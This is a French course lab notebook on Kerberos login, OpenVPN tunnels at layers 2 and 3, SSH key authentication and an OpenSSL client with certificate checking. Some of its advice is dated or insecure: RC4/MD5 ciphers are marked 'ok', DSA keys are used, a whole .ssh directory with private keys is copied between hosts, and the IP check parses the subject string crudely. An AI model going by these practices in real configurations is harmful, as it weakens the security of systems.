immortal$ ssh toto@opeth
Si je vire le ticket avec kdestroy, alors :
immortal$ ssh toto@opeth
toto@opeth's password: => toto (UNIX password)
Maintenant, on ferme la session, et on se connecte en tant que "toto"... Un ticket Kerberos est automatiquement créé...
immortal login: toto
Password: => ktoto (KERBEROS PASSWORD)
Last login: Thu Dec 2 15:04:31 UTC 2010 on tty1
Linux immortal 2.6.32 #2 Sat Jan 9 04:37:12 UTC 2010 i686
toto@immortal:~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000_S6Rufn
Default principal: toto@METAL.FR
Valid starting Expires Service principal
12/02/10 15:05:54 12/03/10 01:05:54 krbtgt/METAL.FR@METAL.FR
renew until 12/03/10 01:05:54
==== OpenVPN ====
On commence par générer les certificats comme indiqué sur la feuille de TD :
* CN=server sur immortal
* CN=client1 sur nile
* CN=client2 sur dt
== VPN (niveau 3) ==
Mise en oeuvre d'un VPN de niveau 3 (IP, interface tun) entre immortal (server, 172.16.0.2) et nile (client1, 10.0.0.2).
On va ensuite lancer le serveur manuellement avec la commande :
### sur immortal (server)
$ openvpn --dev tun1 --ifconfig 10.0.1.1 10.0.1.2 --tls-server \
--dh server-dh.pem --ca ca-cert.pem --cert server-cert.pem \
--key server-key.pem --reneg-sec 60 --verb 5
# ...
# Initialization Sequence Completed
$ ifconfig
tun1: flags=4305 mtu 1500
inet 10.0.1.1 netmask 255.255.255.255 destination 10.0.1.2
inet6 fe80::1dbc:3e01:2806:830f prefixlen 64 scopeid 0x20
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 96 (96.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
### sur nile (client1)
$ openvpn --remote 172.16.0.2 --dev tun1 --ifconfig 10.0.1.2 10.0.1.1 \
--tls-client --ca ca-cert.pem --cert client1-cert.pem \
--key client1-key.pem --reneg-sec 60 --verb 5
# ...
# Initialization Sequence Completed
$ ifconfig
tun1: flags=4305 mtu 1500
inet 10.0.1.2 netmask 255.255.255.255 destination 10.0.1.1
inet6 fe80::7f1c:d869:dfe2:2486 prefixlen 64 scopeid 0x20
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 3 bytes 176 (176.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 416 (416.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Y'a plus qu'à tester avec un ping entre nile et immortal avec les IPs du VPN (10.0.1.1 et 10.0.1.2). Le paquet IP/ICMP est routé sur l'interface virtuelle tun1, puis intercepté par OpenVPN qui va l'encapsuler dans un paquet IP à destination des vraies IPs (172.16.0.2 et 10.0.1.2).
Faisons un ping de nile vers immortal avec les adresses du VPN :
nile $ ping 10.0.1.1
PING 10.0.1.1 (10.0.1.1) 56(84) bytes of data.
64 bytes from 10.0.1.1: icmp_seq=1 ttl=64 time=3.50 ms
64 bytes from 10.0.1.1: icmp_seq=2 ttl=64 time=3.72 ms
64 bytes from 10.0.1.1: icmp_seq=3 ttl=64 time=1.44 ms
...
On reçoit bien le ping sur immortal d'abord via l'interface physique eth1 (UDP, protocole OpenVPN), puis ensuite en clair sur l'interface tun1 (protocole ICMP)... C'est gagné :-)
immortal $ tcpdump -i eth1
11:31:29.509923 IP 10.0.0.2.openvpn > 172.16.0.2.openvpn: UDP, length 125
11:31:29.511025 IP 172.16.0.2.openvpn > 10.0.0.2.openvpn: UDP, length 125
immortal $ tcpdump -i tun1
11:36:47.999376 IP 10.0.1.2 > 10.0.1.1: ICMP echo request, id 1569, seq 400, length 64
11:36:47.999395 IP 10.0.1.1 > 10.0.1.2: ICMP echo reply, id 1569, seq 400, length 64
== VPN (niveau 2) ==
Nous allons mettre en place un VPN de niveau 2 (Ethernet) qui va étendre le LAN 192.168.0.0/24 (opeth, atg et immortal) avec des machines distantes nile et dt hors de ce réseau... immortal va donc jouer le rôle de serveur/passerelle pour VPN. nile et dt seront les clients.
port 1194
proto udp
dev tap0
script-security 3 #system
up /root/up.sh
down /root/down.sh
ca ca-cert.pem
cert server-cert.pem
key server-key.pem
dh server-dh.pem
ifconfig-pool-persist ipp.txt
#verify-x509-name "CN=client"
verify-x509-name "client" name-prefix
client-to-client
# Les adresses allant de .100 to .200 sont r´eserv´ees aux clients VPN.
server-bridge 192.168.0.1 255.255.255.0 192.168.0.100 192.168.0.200
# Ajout d’une route sp´ecifique vers le r´eseau 140.77.13.0/24
push "route 212.27.48.0 255.255.255.0 192.168.0.1"
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3
On rajoute également les fichiers /root/up.sh et /root/down.sh
$ openvpn --config server.conf
# ...
# Initialization Sequence Completed
$ ifconfig
tap0: flags=4419 mtu 1500
inet6 fe80::d8a9:b7ff:fe14:6d3e prefixlen 64 scopeid 0x20
ether da:a9:b7:14:6d:3e txqueuelen 100 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 27 bytes 2210 (2.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configurons maintenant le client1 sur nile...
client
dev tap
proto udp
remote 172.16.0.2 1194
nobind
persist-key
persist-tun
ca ca-cert.pem
cert client1-cert.pem
key client1-key.pem
verify-x509-name "CN=server"
comp-lzo
verb 3
lladdr AA:AA:AA:AA:AA:01 # mettre une adresse MAC unique dans le LAN !
Puis démarrons le client VPN, on récupère normalement sur l'interface tap0 un adresse IP 192.168.0.100-200 dans le LAN...
$ openvpn --config client1.conf
à compléter...
==== SSH et Progammation avec OpenSSL ====
==SSH==
On suppose que l'on dispose d'une compte USERA sur HOSTA et USERB sur HOSTB. Vous pouvez utiliser la commande Unix //adduser USERA// pour ce faire. Si Kerberos est activé, utilisez//pam-auth-update// pour le désactiver au préalable.
Pour générer sur A une paire clef privée (.ssh/id_dsa) et clef publique (.ssh/id_dsa.pub) :
USERA@HOSTA$ ssh-keygen -t dsa
passphrase: xxx xxx xxx xxx
On choisira de protéger sa clef privée avec une passphrase.
On ajoute sa clef publique dans le fichier .ssh/authorized_keys de la machine HOSTB :
USERB$HOSTB: mkdir .ssh
USERA@HOSTA$ scp .ssh/id_*sa.pub USERB@HOSTB:.ssh/authorized_keys
ce qui peut se faire simplement en utilisant le script suivant :
USERA@HOSTA$ ssh-copy-id USERB@HOSTB
__Nota Bene__ : cette copie avec scp (basée sur SSL comme SSH) demande le mot de passe Unix, car elle n'est encore sécurisée par nos clefs SSH.
On peut se connecter maintenant de manière complètement sécurisée avec SSH de A vers B.
USERA@HOSTA$ ssh USERB@HOSTB
passphrase: ...
USERB@HOSTB$ _
Ici, on saisit la passphrase pour que le client SSH puisse décoder la clef privée. Il n'y a donc plus d'authentification par mot de passe Unix.
Notons que la connexion SSH de B vers A ne fonctionne pas pour autant, car il faut effectuer les opérations symétriques. Cependant, il n'est pas nécessaire de générer une nouvelle paire de clefs SSH, on peut réutiliser celles disponibles sur la machine A.
USERA@HOSTA$ scp -r .ssh/ USERB@HOSTB:
== Programmation avec OpenSSL ==
Nous allons mettre en place une connexion TCP/IP (socket C) sécurisée via OpenSSL entre syl (server) et immortal (client).
Vérifiez que le CN des certifcats de syl et immortal correspond bien aux adresses IP respectives de ces machines.
$ certtool --certificate-info --infile pem/syl-cert.pem
$ certtool --certificate-info --infile pem/immortal-cert.pem
On compile et on lance le serveur sur syl et le client sur immortal...
syl$ cat syl-cert.pem syl-key.pem > mycert.pem
syl$ ./ssl-server 8080
immortal$ ./ssl-client @immortal 8080
Un message "Hello???" est encrypté et envoyé du client au serveur qui répond par un autre message... Notez l'utilisation de SSL_write() et SSL_read().
Côté client, on peut forcer une //cypher suite// de la façon suivante :
/* set specific ciphers */
const char * mycipher = "RSA+RC4+MD5"; // ok
// const char * mycipher = "RC4-SHA"; // ok
// const char * mycipher = "EDH-DSS-AES256-SHA:AES256-SHA:DES-CBC3-SHA:RC4-MD5"; // ok
int ret = SSL_CTX_set_cipher_list(ctx, mycipher);
if(ret==0)
printf("Warning: cipher %s not supported!\n", mycipher);
Nous allons rajouté dans le code client un peu de code pour vérifier le certificat du serveur. On ne modifie pas le code serveur.
struct sockaddr_in addr; // cette variable devient globale
/* ... */
// fonction callback à ajouter
int verify_callback (int ok, X509_STORE_CTX *store)
{
int depth = X509_STORE_CTX_get_error_depth(store);
X509 *cert = X509_STORE_CTX_get_current_cert(store);
int err = X509_STORE_CTX_get_error(store);
if(depth > 0) return ok; // just check server certif IP (at depth 0), else preverify "ok" is enough...
printf("+++++ check peer certificate +++++\n");
printf(" * preverify ok = %d\n", ok);
printf(" * chain depth = %d\n", depth);
printf(" * error code %i (%s)\n", err, X509_verify_cert_error_string(err));
char data[256];
X509_NAME_oneline(X509_get_issuer_name(cert), data, 256);
printf(" * issuer = %s\n", data);
X509_NAME_oneline(X509_get_subject_name(cert), data, 256);
printf(" * subject = %s\n", data);
char * certifip = data+4;
// printf(" * certificate IP = %s\n", certifip);
char * serverip = inet_ntoa(addr.sin_addr);
// printf(" * server IP = %s\n", serverip);
if (ok) {
if(strcmp(certifip,serverip) == 0) {
printf("SUCCESS: certificate IP (%s) matches server IP (%s)!\n", certifip, serverip);
return 1; // continue verification
}
else {
printf("FAILURE: certificate IP (%s) does not match server IP (%s)!\n", certifip, serverip);
return 0; // stop verification
}
}
return 0; // stop verification
}
int main(int count, char *strings[])
{
SSL_CTX *ctx;
int server;
SSL *ssl;
char buf[1024];
int bytes;
char *hostname, *portnum;
if(count != 3) {
printf("usage: %s \n", strings[0]);
exit(0);
}
SSL_library_init();
hostname=strings[1];
portnum=strings[2];
ctx = InitCTX();
// code à ajouter pour vérifier le certificat du serveur...
SSL_CTX_load_verify_locations (ctx, "ca-cert.pem",0);
SSL_CTX_set_verify (ctx, SSL_VERIFY_PEER, verify_callback);
server = OpenConnection(hostname, atoi(portnum));
ssl = SSL_new(ctx);
/* ... */
}